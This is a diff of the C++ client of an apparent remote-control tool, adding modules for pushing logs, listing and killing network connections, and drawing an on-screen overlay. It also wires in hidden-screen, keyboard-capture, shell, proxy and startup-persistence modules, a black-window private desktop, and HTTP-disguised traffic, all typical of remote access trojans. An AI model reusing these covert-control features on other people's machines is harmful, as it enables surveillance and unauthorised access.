<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
@@ -89,6 +105,26 @@
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="ChatDialogTemplate.h" />
|
||||
<ClInclude Include="TalkDialogTemplate.h" />
|
||||
<ClInclude Include="ImageResource.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
#include "stdafx.h"
|
||||
#include "ClientLogManager.h"
|
||||
#include "../common/commands.h"
|
||||
#include "../common/logger.h"
|
||||
|
||||
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
|
||||
: CManager(ClientObject, n, p)
|
||||
, m_sentIdx(0)
|
||||
, m_running(true)
|
||||
{
|
||||
SendLogDump();
|
||||
m_pushThread = std::thread([this]() {
|
||||
while (m_running && m_ClientObject->IsConnected()) {
|
||||
for (int i = 0; i < 30 && m_running; ++i)
|
||||
Sleep(100);
|
||||
if (m_running && m_ClientObject->IsConnected())
|
||||
SendLogDump();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
CClientLogManager::~CClientLogManager()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_pushThread.joinable())
|
||||
m_pushThread.join();
|
||||
}
|
||||
|
||||
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
|
||||
SendLogDump();
|
||||
}
|
||||
|
||||
void CClientLogManager::SendLogDump()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
|
||||
std::vector<BYTE> pkt(1 + logs.size());
|
||||
pkt[0] = TOKEN_REPORT_LOG;
|
||||
if (!logs.empty())
|
||||
memcpy(pkt.data() + 1, logs.data(), logs.size());
|
||||
Send(pkt.data(), (UINT)pkt.size());
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
|
||||
class CClientLogManager : public CManager
|
||||
{
|
||||
public:
|
||||
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
|
||||
~CClientLogManager();
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
private:
|
||||
void SendLogDump();
|
||||
|
||||
size_t m_sentIdx;
|
||||
std::mutex m_sendMutex;
|
||||
std::atomic<bool> m_running;
|
||||
std::thread m_pushThread;
|
||||
};
|
||||
+46
-1
@@ -4,16 +4,23 @@
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "file/FileManager.h"
|
||||
#include "screenhide/ScreenHideManager.h"
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ChatManager.h"
|
||||
#include "MachineManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ProxyManager.h"
|
||||
#include "ClientLogManager.h"
|
||||
|
||||
#include "KernelManager.h"
|
||||
#include <iniFile.h>
|
||||
@@ -69,7 +76,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||
ClientObject->SetVerifyInfo(msg, signature);
|
||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
||||
memcpy(user->buffer, bToken + 1, 3);
|
||||
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||
} else {
|
||||
@@ -96,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||
return LoopManager<CTalkManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CChatManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CMachineManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
@@ -135,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CConnectionsManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -149,3 +189,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CProxyManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
|
||||
}
|
||||
@@ -28,11 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||
@@ -0,0 +1,240 @@
|
||||
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "Common.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <tcpmib.h>
|
||||
#include <udpmib.h>
|
||||
#include <vector>
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
|
||||
#if ENABLE_CONNECTION_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendConnectionList();
|
||||
}
|
||||
|
||||
CConnectionsManager::~CConnectionsManager()
|
||||
{
|
||||
}
|
||||
|
||||
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
|
||||
static void ResolveProcName(DWORD pid, char* out, int outLen)
|
||||
{
|
||||
if (outLen <= 0) return;
|
||||
out[0] = 0;
|
||||
if (pid == 0) {
|
||||
strcpy_s(out, outLen, "System Idle Process");
|
||||
return;
|
||||
}
|
||||
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (h == NULL) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t wpath[MAX_PATH] = { 0 };
|
||||
DWORD len = MAX_PATH;
|
||||
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
|
||||
CloseHandle(h);
|
||||
if (!ok) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t* base = wcsrchr(wpath, L'\\');
|
||||
base = base ? base + 1 : wpath;
|
||||
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
out[outLen - 1] = 0;
|
||||
}
|
||||
|
||||
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是把网络序地址直接放在 DWORD 的**内存**里,
|
||||
// 不是主机序数值(192.168.0.55 在 x86 上 DWORD 数值是 0x3700A8C0、内存字节是 C0 A8 00 37)。
|
||||
// 所以只能按内存拷贝:这样得到的正是 inet_ntop 需要的网络序字节,也能原样拼回 SetTcpEntry 的 DWORD。
|
||||
// 按数值移位会把字节序弄反(显示成 55.0.168.192)。
|
||||
static void PutAddr4(uint8_t* out, DWORD addrNet)
|
||||
{
|
||||
memcpy(out, &addrNet, 4);
|
||||
}
|
||||
|
||||
static DWORD GetAddr4(const uint8_t* addr)
|
||||
{
|
||||
DWORD addrNet = 0;
|
||||
memcpy(&addrNet, addr, 4);
|
||||
return addrNet;
|
||||
}
|
||||
|
||||
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
|
||||
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::SendConnectionList()
|
||||
{
|
||||
std::vector<ConnectionInfo> rows;
|
||||
AppendTcp4(rows);
|
||||
AppendTcp6(rows);
|
||||
AppendUdp4(rows);
|
||||
AppendUdp6(rows);
|
||||
|
||||
size_t count = rows.size();
|
||||
if (count > 0xFFFF) count = 0xFFFF;
|
||||
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
|
||||
if (szBuffer == NULL) return;
|
||||
szBuffer[0] = TOKEN_CONNECTION_LIST;
|
||||
uint16_t cnt = (uint16_t)count;
|
||||
memcpy(szBuffer + 1, &cnt, 2);
|
||||
for (size_t i = 0; i < count; ++i)
|
||||
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
|
||||
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
|
||||
{
|
||||
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
|
||||
if (info.proto != 1 || info.af != AF_INET) return;
|
||||
|
||||
MIB_TCPROW row = { 0 };
|
||||
row.dwState = MIB_TCP_STATE_DELETE_TCB;
|
||||
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
|
||||
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
|
||||
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
|
||||
row.dwRemotePort = (DWORD)htons(info.remotePort);
|
||||
SetTcpEntry(&row);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_CONNECTION: // 刷新
|
||||
SendConnectionList();
|
||||
break;
|
||||
case COMMAND_KILL_CONNECTION: // 强制断开
|
||||
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
|
||||
ConnectionInfo info;
|
||||
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
|
||||
KillConnection(info);
|
||||
}
|
||||
SendConnectionList();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
// ConnectionsManager.h: interface for the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
|
||||
class CConnectionsManager : public CManager
|
||||
{
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
@@ -0,0 +1,290 @@
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#define MSG_CLEAR 999
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
|
||||
{
|
||||
m_fAlpha = 150;
|
||||
m_bIsWorking = TRUE;
|
||||
m_bTopMost = TRUE;
|
||||
m_hWnd = NULL;
|
||||
m_textColor = RGB(255,0,0);
|
||||
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
|
||||
BYTE bToken = TOKEN_DRAWING_BOARD;
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
DrawingBoardMgr::~DrawingBoardMgr()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
while (m_hWnd)
|
||||
Sleep(200);
|
||||
DeleteObject(m_DrawPen);
|
||||
DeleteObject(m_Font);
|
||||
}
|
||||
|
||||
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
|
||||
{
|
||||
Mprintf("Start DrawingThreadProc\n");
|
||||
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
|
||||
pThis->RunWindowThread();
|
||||
pThis->m_bIsWorking = FALSE;
|
||||
Mprintf("Stop DrawingThreadProc\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::RunWindowThread()
|
||||
{
|
||||
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
|
||||
static bool s_classRegistered = false;
|
||||
if (!s_classRegistered) {
|
||||
WNDCLASSEX wc = {};
|
||||
wc.cbSize = sizeof(WNDCLASSEX);
|
||||
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
|
||||
wc.hInstance = GetModuleHandle(NULL);
|
||||
wc.lpszClassName = CLASS_NAME;
|
||||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||||
wc.hIcon = NULL; // 标题栏图标
|
||||
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
|
||||
if (!RegisterClassEx(&wc)) {
|
||||
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
|
||||
}
|
||||
s_classRegistered = true;
|
||||
}
|
||||
|
||||
DWORD dwStyle = WS_POPUP | WS_BORDER;
|
||||
m_hWnd = CreateWindowEx(
|
||||
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
|
||||
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
|
||||
NULL, NULL, GetModuleHandle(NULL), this
|
||||
);
|
||||
if (m_hWnd == NULL) return;
|
||||
|
||||
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
|
||||
style |= WS_BORDER; // 增加窄边框
|
||||
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
|
||||
SetWindowLong(m_hWnd, GWL_STYLE, style);
|
||||
|
||||
// 去掉系统菜单
|
||||
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
BringWindowToTop(m_hWnd);
|
||||
|
||||
// 透明度
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
|
||||
ShowWindow(m_hWnd, SW_SHOW);
|
||||
UpdateWindow(m_hWnd);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
Sleep(1);
|
||||
}
|
||||
if (m_hWnd)
|
||||
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
|
||||
m_hWnd = NULL; // 线程退出后,窗口已销毁
|
||||
}
|
||||
|
||||
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
DrawingBoardMgr* pThis = nullptr;
|
||||
|
||||
if (msg == WM_NCCREATE) {
|
||||
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
|
||||
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
|
||||
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
|
||||
}
|
||||
else {
|
||||
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
|
||||
}
|
||||
|
||||
if (pThis) {
|
||||
switch (msg) {
|
||||
case WM_GETICON:
|
||||
return NULL;
|
||||
case WM_WINDOWPOSCHANGED:
|
||||
{
|
||||
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
|
||||
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
|
||||
// 如果窗口层级被改变,重新设置为顶层
|
||||
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case WM_PAINT:
|
||||
{
|
||||
PAINTSTRUCT ps;
|
||||
HDC hdc = BeginPaint(hWnd, &ps);
|
||||
|
||||
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
|
||||
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
|
||||
pThis->m_locker.lock();
|
||||
auto paths = pThis->m_Paths;
|
||||
auto currentPath = pThis->m_CurrentPath;
|
||||
auto texts = pThis->m_Texts;
|
||||
pThis->m_locker.unlock();
|
||||
// 画所有历史路径
|
||||
for (const auto& path : paths)
|
||||
{
|
||||
if (path.size() >= 2)
|
||||
Polyline(hdc, path.data(), (int)path.size());
|
||||
}
|
||||
|
||||
// 画当前路径
|
||||
if (currentPath.size() >= 2)
|
||||
{
|
||||
Polyline(hdc, currentPath.data(), (int)currentPath.size());
|
||||
}
|
||||
|
||||
// 绘制文字
|
||||
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
|
||||
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
|
||||
for (const auto& entry : texts)
|
||||
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
|
||||
|
||||
SelectObject(hdc, hOldPen);
|
||||
SelectObject(hdc, hOldFont);
|
||||
|
||||
EndPaint(hWnd, &ps);
|
||||
return 0;
|
||||
}
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return 0;
|
||||
case MSG_CLEAR:
|
||||
pThis->m_locker.lock();
|
||||
pThis->m_Paths.clear();
|
||||
pThis->m_CurrentPath.clear();
|
||||
pThis->m_Texts.clear();
|
||||
pThis->m_locker.unlock();
|
||||
InvalidateRect(hWnd, NULL, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength < 1) return;
|
||||
|
||||
BYTE cmd = szBuffer[0];
|
||||
|
||||
switch (cmd)
|
||||
{
|
||||
case CMD_DRAW_POINT:
|
||||
if (ulLength == sizeof(POINT) + 1)
|
||||
{
|
||||
POINT pt = *(POINT*)(szBuffer + 1);
|
||||
m_locker.lock();
|
||||
m_CurrentPath.push_back(pt);
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
break;
|
||||
case CMD_DRAW_END:
|
||||
m_locker.lock();
|
||||
if (!m_CurrentPath.empty())
|
||||
{
|
||||
m_Paths.push_back(m_CurrentPath);
|
||||
m_CurrentPath.clear();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
m_locker.unlock();
|
||||
break;
|
||||
case CMD_TRANSPORT:
|
||||
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
break;
|
||||
case CMD_TOPMOST:
|
||||
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
|
||||
